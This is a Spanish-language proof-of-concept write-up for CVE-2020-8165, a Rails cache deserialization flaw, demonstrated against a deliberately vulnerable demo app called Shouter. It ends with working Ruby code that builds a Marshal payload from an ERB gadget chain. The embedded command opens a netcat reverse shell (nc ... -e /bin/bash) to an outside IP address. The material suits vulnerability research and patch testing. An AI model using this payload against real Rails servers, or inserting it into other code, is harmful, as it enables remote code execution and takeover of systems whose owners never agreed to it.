
Demostración del exploit RCE por deserialización de Rails CVE-2020-8165 con la aplicación realista Shouter, generación de payload en Ruby y envenenamiento de caché Redis.
Otra demostración más de CVE-2020-8165, aunque con una implementación más realista que la mayoría.
CVE-2020-8165
Existe una vulnerabilidad de deserialización de datos no confiables en rails < 5.2.4.3, rails < 6.0.3.1 que puede permitir a un atacante deserializar objetos proporcionados por el usuario en MemCacheStore y RedisCacheStore, potencialmente resultando en un RCE.
La aplicación "Shouter" tiene una función de almacenamiento en caché en su modelo Shout donde las imágenes opcionales que se envían con un shout:string se almacenan en caché en redis y se recuperan desde allí en lugar de la base de datos. Debido a que se utiliza el método vulnerable para interactuar con la caché, esta aplicación es susceptible a CVE-2020-8165, y los resultados del RCE se colocan en el src de las etiquetas en la ruta del panel de control.
Rails.cache.fetchimgEl siguiente fragmento generará el payload que necesitas enviar usando exploit.py. Hay algunos matices con el paso de serialización que deben comprenderse para implementar el exploit completamente en Python. Por lo tanto, se necesita Marshal.dump en Ruby para generar el payload exacto (por ahora).
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload